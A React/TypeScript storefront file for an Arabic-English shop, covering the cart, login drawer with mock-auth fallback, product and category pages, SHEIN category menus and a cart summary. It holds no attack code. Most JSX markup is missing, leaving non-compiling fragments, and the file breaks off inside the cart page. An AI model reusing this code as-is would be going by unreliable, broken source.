import { Switch, Route, Router as WouterRouter, Link, useLocation, } from "wouter"; import AdminPage from "./pages/Admin"; import { QueryClient, QueryClientProvider, useQuery, } from "@tanstack/react-query"; import { useState, useRef, useEffect, createContext, useContext, useCallback, } from "react"; import { motion, AnimatePresence } from "framer-motion"; import { API } from "./lib/api"; import { isJsonResponse, loginPreviewStoreUser, registerPreviewStoreUser, } from "./lib/mock-auth"; import { translations, Lang } from "./lib/i18n"; import { FEATURED_MENU_ITEMS, FOOTER_POLICY_LINKS, FALLBACK_STORE_SETTINGS, getFallbackCategories, getFallbackCategoryTree, getFallbackProduct, getFallbackProducts, } from "./lib/store-fallback"; import { installPreviewAdminApi } from "./lib/admin-preview-api"; if (typeof window !== "undefined") installPreviewAdminApi(); // ─── Language Context ───────────────────────────────── interface LangCtx { lang: Lang; setLang: (l: Lang) => void; t: (key: keyof typeof translations.ar) => string; dir: "rtl" | "ltr"; } const LanguageContext = createContext({ lang: "ar", setLang: () => {}, t: (k) => translations.ar[k], dir: "rtl", }); function useLang() { return useContext(LanguageContext); } function LanguageProvider({ children }: { children: React.ReactNode }) { const [lang, setLangState] = useState( () => (localStorage.getItem("extra_lang") as Lang) ?? "ar", ); const setLang = (l: Lang) => { setLangState(l); localStorage.setItem("extra_lang", l); }; const t = useCallback( (key: keyof typeof translations.ar): string => translations[lang][key] ?? translations.ar[key], [lang], ); const dir: "rtl" | "ltr" = lang === "ar" ? "rtl" : "ltr"; useEffect(() => { document.documentElement.dir = dir; document.documentElement.lang = lang; }, [dir, lang]); return ( {children} ); } function proxyImg(url: string): string { if (!url) return ""; if ( /^https?:\/\//i.test(url) || /^data:image\//i.test(url) || /^blob:/i.test(url) ) return url; return `${API}/image-proxy?url=${encodeURIComponent(url)}`; } async function fetchJsonOrFallback( url: string, fallback: () => T | Promise, ): Promise { try { const res = await fetch(url); const contentType = res.headers.get("content-type") || ""; if (!res.ok || !contentType.includes("application/json")) throw new Error("API unavailable"); return await res.json(); } catch { return await fallback(); } } const queryClient = new QueryClient({ defaultOptions: { queries: { staleTime: 60_000 } }, }); // ─── Cart Context ──────────────────────────────────── interface CartItem { product: Product; quantity: number; color: string | null; size: string | null; } interface CartCtx { items: CartItem[]; addItem: ( product: Product, qty: number, color: string | null, size: string | null, ) => void; removeItem: ( productId: number, color: string | null, size: string | null, ) => void; updateQty: ( productId: number, color: string | null, size: string | null, qty: number, ) => void; clearCart: () => void; count: number; subtotal: number; } const CartContext = createContext({ items: [], addItem: () => {}, removeItem: () => {}, updateQty: () => {}, clearCart: () => {}, count: 0, subtotal: 0, }); function useCart() { return useContext(CartContext); } function CartProvider({ children }: { children: React.ReactNode }) { const [items, setItems] = useState(() => { try { return JSON.parse(localStorage.getItem("extra_cart") || "[]"); } catch { return []; } }); const saveItems = useCallback((next: CartItem[]) => { setItems(next); localStorage.setItem("extra_cart", JSON.stringify(next)); }, []); const key = (id: number, color: string | null, size: string | null) => `${id}|${color}|${size}`; const addItem = useCallback( ( product: Product, qty: number, color: string | null, size: string | null, ) => { setItems((prev) => { const k = key(product.id, color, size); const exists = prev.find( (i) => key(i.product.id, i.color, i.size) === k, ); const next = exists ? prev.map((i) => key(i.product.id, i.color, i.size) === k ? { ...i, quantity: Math.min(i.quantity + qty, i.product.stock), } : i, ) : [...prev, { product, quantity: qty, color, size }]; localStorage.setItem("extra_cart", JSON.stringify(next)); return next; }); }, [], ); const removeItem = useCallback( (productId: number, color: string | null, size: string | null) => { saveItems( items.filter( (i) => key(i.product.id, i.color, i.size) !== key(productId, color, size), ), ); }, [items, saveItems], ); const updateQty = useCallback( ( productId: number, color: string | null, size: string | null, qty: number, ) => { if (qty < 1) { removeItem(productId, color, size); return; } saveItems( items.map((i) => key(i.product.id, i.color, i.size) === key(productId, color, size) ? { ...i, quantity: qty } : i, ), ); }, [items, saveItems, removeItem], ); const clearCart = useCallback(() => saveItems([]), [saveItems]); const count = items.reduce((s, i) => s + i.quantity, 0); const subtotal = items.reduce( (s, i) => s + parseFloat(i.product.price) * i.quantity, 0, ); return ( {children} ); } // ─── Auth Context ──────────────────────────────────── interface AuthUser { id: number; name: string | null; email: string; } interface AuthCtx { user: AuthUser | null; token: string | null; login: (user: AuthUser, token: string) => void; logout: () => void; openAuth: (mode?: "login" | "register") => void; } const AuthContext = createContext({ user: null, token: null, login: () => {}, logout: () => {}, openAuth: () => {}, }); function useAuth() { return useContext(AuthContext); } function AuthProvider({ children }: { children: React.ReactNode }) { const [user, setUser] = useState(() => { try { const u = localStorage.getItem("extra_user"); return u ? JSON.parse(u) : null; } catch { return null; } }); const [token, setToken] = useState(() => localStorage.getItem("extra_token"), ); const [authOpen, setAuthOpen] = useState(false); const [authMode, setAuthMode] = useState<"login" | "register">("login"); const login = useCallback((u: AuthUser, t: string) => { setUser(u); setToken(t); localStorage.setItem("extra_user", JSON.stringify(u)); localStorage.setItem("extra_token", t); setAuthOpen(false); }, []); const logout = useCallback(() => { setUser(null); setToken(null); localStorage.removeItem("extra_user"); localStorage.removeItem("extra_token"); }, []); const openAuth = useCallback((mode: "login" | "register" = "login") => { setAuthMode(mode); setAuthOpen(true); }, []); return ( {children} setAuthOpen(false)} /> ); } function AuthDrawer({ open, mode, setMode, onClose, }: { open: boolean; mode: "login" | "register"; setMode: (m: "login" | "register") => void; onClose: () => void; }) { const { login } = useAuth(); const showToast = useShowToast(); const { t, dir } = useLang(); const [form, setForm] = useState({ name: "", email: "", password: "", confirm: "", remember: false, }); const [loading, setLoading] = useState(false); const [showPass, setShowPass] = useState(false); const set = (k: string, v: string | boolean) => setForm((f) => ({ ...f, [k]: v })); const handleSubmit = async (e: React.FormEvent) => { e.preventDefault(); setLoading(true); try { const endpoint = mode === "login" ? "/auth/login" : "/auth/register"; const body = mode === "login" ? { email: form.email, password: form.password, remember_me: form.remember, } : { name: form.name, email: form.email, password: form.password, confirm_password: form.confirm, }; let data: { user: AuthUser; token: string }; try { const res = await fetch(`${API}${endpoint}`, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(body), }); if (!isJsonResponse(res)) throw new Error("preview-api-unavailable"); const json = await res.json(); if (!res.ok) { showToast(json.error || "حدث خطأ", "error"); return; } data = json; } catch (error) { if ( error instanceof Error && error.message !== "preview-api-unavailable" ) throw error; data = mode === "login" ? loginPreviewStoreUser({ email: form.email, password: form.password, }) : registerPreviewStoreUser({ name: form.name, email: form.email, password: form.password, confirm_password: form.confirm, }); showToast( "تم استخدام وضع المعاينة لتسجيل الدخول لأن خدمة API غير متاحة حالياً", "success", ); } login(data.user, data.token); showToast( mode === "login" ? `${t("welcome_back")} ${data.user.name || data.user.email} 👋` : t("account_created"), "success", ); } catch (error) { showToast( error instanceof Error ? error.message : t("server_error"), "error", ); } finally { setLoading(false); } }; return ( {open && ( <> {/* Header */}
X
{t("store_name")}
{/* Tabs */}
{(["login", "register"] as const).map((m) => ( ))}
{/* Social buttons */}
{/* Divider */}
{t("auth_divider")}
{/* Form */}
{mode === "register" && (
set("name", e.target.value)} placeholder={t("auth_name_placeholder")} className="w-full bg-white/6 border border-white/12 text-white placeholder-white/25 rounded-xl px-4 py-2.5 text-sm focus:outline-none focus:border-orange-500/60" style={{ fontSize: "16px" }} />
)}
set("email", e.target.value)} required placeholder="example@email.com" className="w-full bg-white/6 border border-white/12 text-white placeholder-white/25 rounded-xl px-4 py-2.5 text-sm focus:outline-none focus:border-orange-500/60" style={{ fontSize: "16px" }} dir="ltr" />
set("password", e.target.value)} required placeholder={t("auth_pass_placeholder")} className="w-full bg-white/6 border border-white/12 text-white placeholder-white/25 rounded-xl px-4 py-2.5 pl-10 text-sm focus:outline-none focus:border-orange-500/60" style={{ fontSize: "16px" }} dir="ltr" />
{mode === "register" && (

{t("auth_password_hint")}

)}
{mode === "register" && (
set("confirm", e.target.value)} required placeholder={t("auth_confirm_placeholder")} className="w-full bg-white/6 border border-white/12 text-white placeholder-white/25 rounded-xl px-4 py-2.5 text-sm focus:outline-none focus:border-orange-500/60" style={{ fontSize: "16px" }} dir="ltr" />
)} {mode === "login" && ( )}

{mode === "login" ? t("auth_no_account") : t("auth_has_account")}

)} ); } // ─── Sound Notifications ───────────────────────────── declare global { interface Window { webkitAudioContext?: typeof AudioContext; } } function playSound(type: "success" | "error" | "info" = "success") { try { const ctx = new (window.AudioContext || window.webkitAudioContext!)(); const masterGain = ctx.createGain(); masterGain.connect(ctx.destination); masterGain.gain.setValueAtTime(0.18, ctx.currentTime); const play = ( freq: number, start: number, dur: number, wave: OscillatorType = "sine", ) => { const osc = ctx.createOscillator(); const gain = ctx.createGain(); osc.connect(gain); gain.connect(masterGain); osc.type = wave; osc.frequency.setValueAtTime(freq, ctx.currentTime + start); gain.gain.setValueAtTime(0, ctx.currentTime + start); gain.gain.linearRampToValueAtTime(1, ctx.currentTime + start + 0.01); gain.gain.exponentialRampToValueAtTime( 0.001, ctx.currentTime + start + dur, ); osc.start(ctx.currentTime + start); osc.stop(ctx.currentTime + start + dur); }; if (type === "success") { play(523, 0, 0.15); // C5 play(659, 0.1, 0.15); // E5 play(784, 0.2, 0.25); // G5 } else if (type === "error") { play(330, 0, 0.18, "sawtooth"); play(247, 0.15, 0.25, "sawtooth"); } else { play(660, 0, 0.12); play(660, 0.14, 0.18); } setTimeout(() => ctx.close(), 1000); } catch (_) {} } // ─── Toast Notification ────────────────────────────── interface ToastItem { id: number; msg: string; type?: "success" | "error" | "info"; } function useToast() { const [toasts, setToasts] = useState([]); const show = useCallback( (msg: string, type: ToastItem["type"] = "success") => { const id = Date.now(); setToasts((t) => [...t, { id, msg, type }]); setTimeout(() => setToasts((t) => t.filter((x) => x.id !== id)), 3000); }, [], ); const dismiss = useCallback((id: number) => { setToasts((t) => t.filter((x) => x.id !== id)); }, []); return { toasts, show, dismiss }; } const ToastContext = createContext<{ show: (msg: string, type?: ToastItem["type"]) => void; }>({ show: () => {} }); function useShowToast() { return useContext(ToastContext).show; } function ToastProvider({ children }: { children: React.ReactNode }) { const { toasts, show, dismiss } = useToast(); return ( {children}
{toasts.map((t) => (
{t.type === "error" ? ( ) : ( )}
{t.msg}
))}
); } // ─── Types ────────────────────────────────────────── interface Category { id: number; name: string; name_en: string | null; icon: string | null; parent_id: number | null; sort_order: number | null; source: string | null; slug: string | null; shein_url: string | null; image_url: string | null; product_count?: number; } interface Product { id: number; name: string; name_en: string | null; brand: string | null; price: string; original_price: string | null; images: string[]; colors: string[]; sizes: string[]; specs: Record; marketing_points: string[]; subcategory: string | null; category_id: number; rating: string; review_count: number; stock: number; is_trending: boolean; is_bestseller: boolean; is_new: boolean; is_top_rated: boolean; } interface ProductsResp { products: Product[]; total: number; page: number; total_pages: number; } // ─── Extended Types ────────────────────────────────── interface CategoryNode extends Category { children: Category[]; } // ─── Hooks ────────────────────────────────────────── function useCategories() { return useQuery({ queryKey: ["categories"], queryFn: async () => { const cats = await fetchJsonOrFallback( `${API}/categories`, () => Promise.resolve(getFallbackCategories() as Category[]), ); return cats.filter((c) => !c.parent_id); }, }); } function useCategoryTree() { return useQuery({ queryKey: ["categories-tree"], queryFn: () => fetchJsonOrFallback(`${API}/categories/tree`, () => Promise.resolve(getFallbackCategoryTree() as CategoryNode[]), ), }); } function useProducts(params: Record) { const qs = Object.entries(params) .filter(([, v]) => v !== undefined) .map(([k, v]) => `${k}=${v}`) .join("&"); return useQuery({ queryKey: ["products", qs], queryFn: () => fetchJsonOrFallback(`${API}/products?${qs}`, () => Promise.resolve(getFallbackProducts(params) as ProductsResp), ), }); } function useProduct(id: number) { return useQuery({ queryKey: ["product", id], queryFn: () => fetchJsonOrFallback(`${API}/products/${id}`, () => Promise.resolve(getFallbackProduct(id) as Product), ), }); } function useStoreSettings() { return useQuery>({ queryKey: ["store-settings"], queryFn: () => fetchJsonOrFallback>( `${API}/public-settings`, () => Promise.resolve(FALLBACK_STORE_SETTINGS), ), staleTime: 30_000, }); } function storeCopy( settings: Record | undefined, lang: Lang, key: string, fallback: string, ) { const arValue = settings?.[`${key}_ar`] ?? settings?.[key]; const enValue = settings?.[`${key}_en`]; return lang === "en" ? enValue || arValue || fallback : arValue || fallback; } // ─── Announcement Bar ──────────────────────────────── function AnnouncementBar() { const { data: s } = useStoreSettings(); const { lang } = useLang(); if (!s || s.announcement_enabled !== "true") return null; const text = lang === "en" && s.announcement_text_en ? s.announcement_text_en : s.announcement_text || ""; const bg = s.announcement_color || "#f97316"; const tc = s.announcement_text_color || "#ffffff"; return (
{[0, 1, 2].map((i) => ( {text} ))}
); } // ─── Components ───────────────────────────────────── function StarRating({ rating, count, }: { rating?: string | null; count?: number | null; }) { const r = parseFloat(rating ?? "0") || 0; return (
{[1, 2, 3, 4, 5].map((i) => ( ))}
{(count ?? 0) > 0 && ( ({(count ?? 0).toLocaleString("ar-SA")}) )}
); } function ProductCard({ p }: { p: Product }) { const discount = p.original_price ? Math.round((1 - parseFloat(p.price) / parseFloat(p.original_price)) * 100) : 0; const img = (Array.isArray(p.images) && p.images[0]) || ""; const [imgLoaded, setImgLoaded] = useState(false); const [imgError, setImgError] = useState(false); const [added, setAdded] = useState(false); const { addItem } = useCart(); const showToast = useShowToast(); const { t, lang } = useLang(); const handleAddToCart = (e: React.MouseEvent) => { e.preventDefault(); e.stopPropagation(); addItem(p, 1, p.colors?.[0] ?? null, p.sizes?.[0] ?? null); const name = lang === "en" && p.name_en ? p.name_en : p.name; showToast(`${t("added_toast_short")} ${name.substring(0, 30)}...`); setAdded(true); setTimeout(() => setAdded(false), 2000); }; return (
{/* Image area — white background exactly like Extra store */}
{discount > 0 && ( -{discount}% )} {p.is_new && ( {t("product_new")} )} {img && !imgError ? ( {p.name} setImgLoaded(true)} onError={() => setImgError(true)} className={`w-full h-full object-contain p-4 group-hover:scale-108 transition-transform duration-500 ${imgLoaded ? "opacity-100" : "opacity-0"}`} /> ) : imgError ? (
) : null} {!imgLoaded && !imgError && img && (
)} {/* Quick Add Button — always visible on mobile, hover on desktop */}
{/* Product info — dark */}
{p.brand && ( {p.brand} )}

{lang === "en" && p.name_en ? p.name_en : p.name}

{parseFloat(p.price).toLocaleString("ar-SA")} {t("currency")} {p.original_price && parseFloat(p.original_price) > parseFloat(p.price) && ( {parseFloat(p.original_price).toLocaleString("ar-SA")} )}
); } function SheinMegaMenu({ tree, onClose, }: { tree: CategoryNode[]; onClose: () => void; }) { const [activeSection, setActiveSection] = useState(null); const { t, lang } = useLang(); const sheinSections = tree.filter((n) => n.source === "shein"); const active = activeSection ?? sheinSections[0] ?? null; const catName = (c: CategoryNode & { name_en?: string }) => lang === "en" && c.name_en ? c.name_en : c.name; return (
{/* Left: Category list with thumbnail images */}
{sheinSections.map((sec) => ( ))}
{/* Right: Subcategories + promo area */}
{/* Subcategories */}
{active && ( <>
{(active as CategoryNode & { image_url?: string }) .image_url ? ( {active.name} ) : ( {active.icon} )}

{catName(active as CategoryNode & { name_en?: string })}

{ (active as CategoryNode & { name_en?: string }) .name_en }

{t("view_all")}
{active.children && active.children.length > 0 ? (
{active.children.map((sub) => ( {sub.icon} {catName(sub as CategoryNode & { name_en?: string })} ))}
) : (
{t("browse_all_cat")}
)} )}
{/* Promo panel — active category hero image */} {active && (active as CategoryNode & { image_url?: string }).image_url && (
{active.name}
{catName(active as CategoryNode & { name_en?: string })}
)}
); } function Header() { const { data: allCats } = useCategories(); const { data: tree } = useCategoryTree(); const { data: s } = useStoreSettings(); const [search, setSearch] = useState(""); const [, navigate] = useLocation(); const { count } = useCart(); const { user, logout, openAuth } = useAuth(); const { t, lang, setLang, dir } = useLang(); const featuredMenu = FEATURED_MENU_ITEMS.map((item) => ({ ...item, label: lang === "en" ? item.label_en : item.label_ar, })); const storeName = storeCopy(s, lang, "store_name", t("store_name")); const topBarOffer = storeCopy(s, lang, "top_bar_offer", t("top_bar_offer")); const searchPlaceholder = storeCopy( s, lang, "header_search_placeholder", t("search_placeholder"), ); const menuStripLabel = storeCopy( s, lang, "menu_strip_label", lang === "en" ? "Store Menus" : "القوائم", ); const [sheinOpen, setSheinOpen] = useState(false); const [userMenuOpen, setUserMenuOpen] = useState(false); const navRef = useRef(null); const scrollNav = (d: "left" | "right") => { if (navRef.current) navRef.current.scrollBy({ left: d === "left" ? -200 : 200, behavior: "smooth", }); }; const extraCats = allCats?.filter((c) => !c.source || c.source === "extra") ?? []; const sheinTree = tree?.filter((n) => n.source === "shein") ?? []; return (
{/* Top bar */}
{topBarOffer}
{/* Main header */}
X
{storeName}
{ e.preventDefault(); navigate(`/category/0?q=${encodeURIComponent(search)}`); }} className="flex-1" >
setSearch(e.target.value)} placeholder={searchPlaceholder} className="w-full bg-white/8 border border-white/12 text-white placeholder-white/35 rounded-xl py-2.5 pr-4 pl-10 text-sm focus:outline-none focus:border-orange-500/60" style={{ fontSize: "16px" }} dir={lang === "en" ? "ltr" : "rtl"} />
{/* Language Toggle */} {/* User button */}
{user ? ( <> {userMenuOpen && (

{user.name || t("user_guest")}

{user.email}

setUserMenuOpen(false)} className="flex items-center gap-3 px-4 py-2.5 text-sm text-white/70 hover:text-white hover:bg-white/5 transition-colors" > {t("user_profile")} setUserMenuOpen(false)} className="flex items-center gap-3 px-4 py-2.5 text-sm text-white/70 hover:text-white hover:bg-white/5 transition-colors" > {t("user_cart")}
)} ) : ( )}
{/* Cart Icon */} {count > 0 && ( {count > 99 ? "99+" : count} )}
{/* Category nav */}
{menuStripLabel} {featuredMenu.map((item) => ( {item.label} ))}
); } function Footer() { const { t, lang } = useLang(); const { data: footerCats } = useCategories(); const { data: s } = useStoreSettings(); const categoryLinks = (footerCats ?? []) .filter((c) => !c.source || c.source === "extra") .slice(0, 10); const policyLinks = FOOTER_POLICY_LINKS.map((item) => ({ ...item, label: lang === "en" ? item.label_en : item.label_ar, })); const storeName = storeCopy(s, lang, "store_name", t("store_name")); const storeTagline = storeCopy(s, lang, "store_tagline", t("store_tagline")); const footerAddress = storeCopy( s, lang, "footer_address", t("footer_address"), ); const footerContactPhone = s?.footer_contact_phone || "920003117"; const footerCopyright = storeCopy( s, lang, "footer_copyright", t("footer_copyright"), ); return (
X
{storeName}

{storeTagline}

{t("footer_quick_links")}

{lang === "en" ? "Product Categories" : "فئات المنتجات"}

    {categoryLinks.map((c) => (
  • {lang === "en" && c.name_en ? c.name_en : c.name}
  • ))}

{lang === "en" ? "Policies & Menus" : "السياسات والقوائم"}

{t("footer_contact")}

{footerContactPhone}

{footerAddress}

{footerCopyright}
); } // ─── Pages ────────────────────────────────────────── function Home() { const { t, lang } = useLang(); const { data: allCats } = useCategories(); const { data: trending } = useProducts({ featured: "trending", limit: 10 }); const { data: bestsellers } = useProducts({ featured: "bestseller", limit: 10, }); const { data: newArr } = useProducts({ featured: "new_arrivals", limit: 10 }); const { data: topRated } = useProducts({ featured: "top_rated", limit: 10 }); const { data: s } = useStoreSettings(); const extraCats = allCats?.filter((c) => !c.source || c.source === "extra") ?? []; const sheinCats = allCats?.filter((c) => c.source === "shein" && !c.parent_id) ?? []; const accent = s?.hero_accent_color || "#f97316"; const isEn = lang === "en"; const heroBadge = isEn ? s?.hero_badge_en || t("hero_badge") : s?.hero_badge_ar || t("hero_badge"); const heroTitle = isEn ? s?.hero_title_en || t("hero_title") : s?.hero_title_ar || t("hero_title"); const heroSub = isEn ? s?.hero_subtitle_en || t("hero_sub") : s?.hero_subtitle_ar || t("hero_sub"); const heroCta = isEn ? s?.hero_cta_en || t("hero_cta") : s?.hero_cta_ar || t("hero_cta"); const heroCtaLink = s?.hero_cta_link || "/category/0"; const heroBgImage = s?.hero_bg_image || ""; // Promo banners let promoBanners: { image_url: string; link: string; title: string }[] = []; try { promoBanners = JSON.parse(s?.promo_banners || "[]"); } catch {} const sections = [ { id: "trending", enabled: s?.section_trending_enabled !== "false", title: isEn ? s?.section_trending_title_en || t("section_trending_title") : s?.section_trending_title_ar || t("section_trending_title"), icon: s?.section_trending_icon || "🔥", data: trending?.products, }, { id: "bestseller", enabled: s?.section_bestseller_enabled !== "false", title: isEn ? s?.section_bestseller_title_en || t("section_bestseller_title") : s?.section_bestseller_title_ar || t("section_bestseller_title"), icon: s?.section_bestseller_icon || "⭐", data: bestsellers?.products, }, { id: "new", enabled: s?.section_new_enabled !== "false", title: isEn ? s?.section_new_title_en || t("section_new_title") : s?.section_new_title_ar || t("section_new_title"), icon: s?.section_new_icon || "✨", data: newArr?.products, }, { id: "top-rated", enabled: s?.section_top_rated_enabled !== "false", title: isEn ? s?.section_top_rated_title_en || t("section_top_rated_title") : s?.section_top_rated_title_ar || t("section_top_rated_title"), icon: s?.section_top_rated_icon || "🏆", data: topRated?.products, }, ]; return (
{/* Hero */} {s?.hero_enabled !== "false" && (
{heroBgImage &&
}
{heroBadge}

{heroTitle}

{heroSub}

{heroCta}
)} {/* Promo Banners */} {promoBanners.length > 0 && (
{promoBanners.map((b, i) => (
{b.title} { ( e.target as HTMLImageElement ).parentElement!.style.display = "none"; }} /> {b.title && (
{b.title}
)}
))}
)}
{/* eXtra Categories Grid */} {s?.extra_section_enabled !== "false" && extraCats.length > 0 && (

X
{isEn ? s?.extra_section_title_en || t("section_extra_title") : s?.extra_section_title_ar || t("section_extra_title")}

{extraCats.map((c) => (
{c.icon} {lang === "en" && c.name_en ? c.name_en : c.name}
))}
)} {/* Shein Categories */} {s?.shein_section_enabled !== "false" && sheinCats.length > 0 && (
SHEIN

{isEn ? s?.shein_section_title_en || t("shein_section_title") : s?.shein_section_title_ar || t("shein_section_title")}

{isEn ? "أزياء، جمال ومنزل" : "Fashion, Beauty & Home"}

{t("view_all")}
{sheinCats.map((c) => (
{c.image_url ? ( {c.name} { (e.target as HTMLImageElement).style.display = "none"; }} /> ) : (
{c.icon ?? "🏷️"}
)}
{isEn && c.name_en ? c.name_en : c.name} {c.name_en && !isEn && ( {c.name_en} )}
{c.slug === "new-in" && (
NEW
)} {c.slug === "sale" && (
SALE
)}
))}
)} {/* Product Sections */} {sections .filter((sec) => sec.enabled && sec.data && sec.data.length > 0) .map((sec) => (

{sec.icon} {sec.title}

{t("section_view_all")}
{sec.data!.map((p) => ( ))}
))}
); } function Category() { const { t, lang } = useLang(); const [location] = useLocation(); const pathParts = location.split("/"); const catId = parseInt(pathParts[pathParts.length - 1] ?? "0") || 0; const urlParams = new URLSearchParams(window.location.search); const q = urlParams.get("q") || ""; const [sort, setSort] = useState("relevance"); const [tab, setTab] = useState< "all" | "trending" | "bestseller" | "new_arrivals" | "top_rated" >("all"); const [selectedSubcat, setSelectedSubcat] = useState(null); const { data: cats } = useCategories(); const { data: tree } = useCategoryTree(); const cat = cats?.find((c) => c.id === catId); const subcats: Category[] = catId > 0 ? (tree?.find((n) => n.id === catId)?.children ?? []) : []; const queryParams: Record = { page: 1, limit: 60, ...(catId > 0 ? { category_id: catId } : {}), ...(q ? { search: q } : {}), ...(tab !== "all" ? { featured: tab } : {}), ...(selectedSubcat ? { subcategory: selectedSubcat } : {}), }; const { data, isLoading } = useProducts(queryParams); const products = data?.products ?? []; const sorted = [...products].sort((a, b) => { if (sort === "price_asc") return parseFloat(a.price) - parseFloat(b.price); if (sort === "price_desc") return parseFloat(b.price) - parseFloat(a.price); if (sort === "rating") return parseFloat(b.rating) - parseFloat(a.rating); return 0; }); return (
{/* Back + Breadcrumb */}
{t("home")} {catId === 0 ? t("all_products") : lang === "en" && cat?.name_en ? cat.name_en : (cat?.name ?? "...")} {selectedSubcat && ( <> {selectedSubcat} )}
{/* Title */}

{cat?.icon}{" "} {catId === 0 ? t("all_products") : lang === "en" && cat?.name_en ? cat.name_en : (cat?.name ?? "")} {q && ( {t("results_for")} "{q}" )}

{data?.total ?? 0} {t("products_count")}

{/* Tabs */}
{( [ { id: "all", label: t("tab_all") }, { id: "trending", label: t("tab_trending") }, { id: "bestseller", label: t("tab_bestseller") }, { id: "top_rated", label: t("tab_top_rated") }, { id: "new_arrivals", label: t("tab_new") }, ] as const ).map((tb) => ( ))}
{/* Mobile: horizontal subcategory chips */} {subcats.length > 0 && (
{subcats.map((sc) => ( ))}
)}
{/* Desktop: Subcategory Sidebar */} {subcats.length > 0 && ( )} {/* Products Grid */}
{isLoading ? (
{[...Array(12)].map((_, i) => (
))}
) : sorted.length === 0 ? (
🔍

{t("no_products")}

{selectedSubcat && ( )}
) : (
0 ? "grid-cols-2 sm:grid-cols-3 md:grid-cols-3 lg:grid-cols-4" : "grid-cols-2 sm:grid-cols-3 md:grid-cols-4 lg:grid-cols-5"}`} > {sorted.map((p) => ( ))}
)}
); } function ProductPage() { const { t, lang } = useLang(); const [location, navigate] = useLocation(); const id = parseInt(location.split("/").pop() ?? "0") || 0; const { data: p, isLoading } = useProduct(id); const [qty, setQty] = useState(1); const [selColor, setSelColor] = useState(null); const [selSize, setSelSize] = useState(null); const [imgLoaded, setImgLoaded] = useState(false); const [addedToBag, setAddedToBag] = useState(false); const { addItem } = useCart(); const showToast = useShowToast(); useEffect(() => { if (p?.colors?.[0]) setSelColor(p.colors[0]); }, [p]); useEffect(() => { if (p?.sizes?.[0]) setSelSize(p.sizes[0]); }, [p]); if (isLoading) return (
); if (!p) return (
{t("product_not_found")}
); const discount = p.original_price ? Math.round((1 - parseFloat(p.price) / parseFloat(p.original_price)) * 100) : 0; const img = (Array.isArray(p.images) && p.images[0]) || ""; const displayName = lang === "en" && p.name_en ? p.name_en : p.name; return (
{/* Back + Breadcrumb */}
{t("home")} {t("category_link")} {displayName}
{/* Image — white background like Extra store */}
{discount > 0 && (
{t("save_percent")} {discount}%
)} {img && ( {p.name} setImgLoaded(true)} className={`max-w-full max-h-full object-contain transition-opacity duration-500 ${imgLoaded ? "opacity-100" : "opacity-0"}`} /> )} {!imgLoaded && img && (
)}
{/* Details */}
{p.brand && ( {p.brand} )}

{displayName}

{/* Price */}
{parseFloat(p.price).toLocaleString("ar-SA")} {t("currency")} {p.original_price && parseFloat(p.original_price) > parseFloat(p.price) && ( {parseFloat(p.original_price).toLocaleString("ar-SA")} )} {discount > 0 && ( {t("save_percent")} {discount}% )}
{p.original_price && parseFloat(p.original_price) > parseFloat(p.price) && (

{t("saving")}{" "} {( parseFloat(p.original_price) - parseFloat(p.price) ).toLocaleString("ar-SA")}{" "} {t("currency")}

)}
{/* Colors */} {(p.colors?.length ?? 0) > 0 && (

{t("color_label")}{" "} {selColor}

{(p.colors ?? []).map((c) => ( ))}
)} {/* Sizes */} {(p.sizes?.length ?? 0) > 0 && (

{t("size_label")}{" "} {selSize}

{(p.sizes ?? []).map((s) => ( ))}
)} {/* Qty */}
{t("qty_label")}
{qty}
{(p.stock ?? 0) > 0 && ( {p.stock} {t("available")} )}
{/* CTA */}
{/* Badges */}
{( [ ["🚚", t("badge_fast")], ["🛡️", t("badge_auth")], ["↩️", t("badge_return")], ] as [string, string][] ).map(([icon, label]) => (
{icon} {label}
))}
{/* Marketing Points */} {(p.marketing_points?.length ?? 0) > 0 && (

{t("product_features")}

    {(p.marketing_points ?? []).map((pt, i) => (
  • {pt}
  • ))}
)} {/* Specs */} {p.specs && Object.keys(p.specs).length > 0 && (

{t("tech_specs")}

{Object.entries(p.specs).map(([key, val], i) => ( ))}
{key} {String(val)}
)}
); } // ─── Cart Page ─────────────────────────────────────── function CartPage() { const { t, lang } = useLang(); const { data: storeSettings } = useStoreSettings(); const { items, removeItem, updateQty, clearCart, subtotal } = useCart(); const [, navigate] = useLocation(); const { user, openAuth } = useAuth(); const VAT_RATE = 0.15; const freeShipRiyadh = parseFloat( storeSettings?.cart_free_shipping_riyadh || "299", ); const feeRiyadh = parseFloat(storeSettings?.cart_delivery_fee_riyadh || "19"); const SHIPPING = subtotal >= freeShipRiyadh ? 0 : feeRiyadh; const vat = subtotal * VAT_RATE; const total = subtotal + vat + SHIPPING; const cartPageTitle = storeCopy( storeSettings, lang, "cart_page_title", t("cart_title"), ); const cartPageSubtitle = storeCopy( storeSettings, lang, "cart_page_subtitle", `${items.reduce((s, i) => s + i.quantity, 0)} ${t("products_count")}`, ); const cartCheckoutLabel = storeCopy( storeSettings, lang, "cart_checkout_button", t("cart_checkout"), ); const cartSecureLabel = storeCopy( storeSettings, lang, "cart_secure_label", t("cart_secure"), ); const cartCheckoutNote = storeCopy( storeSettings, lang, "cart_checkout_note", "", ); const activePaymentMethods = [ storeSettings?.cart_payment_visa !== "false" ? "Visa / Mastercard" : null, storeSettings?.cart_payment_mada !== "false" ? lang === "en" ? "mada" : "مدى" : null, storeSettings?.cart_payment_applepay !== "false" ? "Apple Pay" : null, storeSettings?.cart_payment_stcpay !== "false" ? "STC Pay" : null, ].filter(Boolean) as string[]; if (items.length === 0) { return (

{t("cart_empty_title")}

{t("cart_empty_sub")}

{t("cart_shop_now")}
); } return (
{storeSettings?.cart_banner_enabled !== "false" && (
{storeSettings?.cart_banner_text || ""}
)} {/* Back button */} {/* Header */}

{cartPageTitle}

{cartPageSubtitle}

{/* Items List */}
{items.map((item) => { const itemKey = `${item.product.id}|${item.color}|${item.size}`; const img = item.product.images[0] || ""; const itemTotal = parseFloat(item.product.price) * item.quantity; return (
{/* Image */}
{img ? ( {item.product.name} ) : (
📦
)}
{/* Details */}
{item.product.brand && ( {item.product.brand} )}

{lang === "en" && item.product.name_en ? item.product.name_en : item.product.name}

{(item.color || item.size) && (
{item.color && ( {item.color} )} {item.size && ( {item.size} )}
)}
{/* Qty Controls */}
{item.quantity}
{/* Price */}
{itemTotal.toLocaleString("ar-SA")} {t("currency")}
{item.quantity > 1 && (
{parseFloat(item.product.price).toLocaleString( "ar-SA", )}{" "} × {item.quantity}
)}
); })} {/* Continue Shopping */} {t("cart_continue")}
{/* Order Summary */}

{t("cart_summary")}

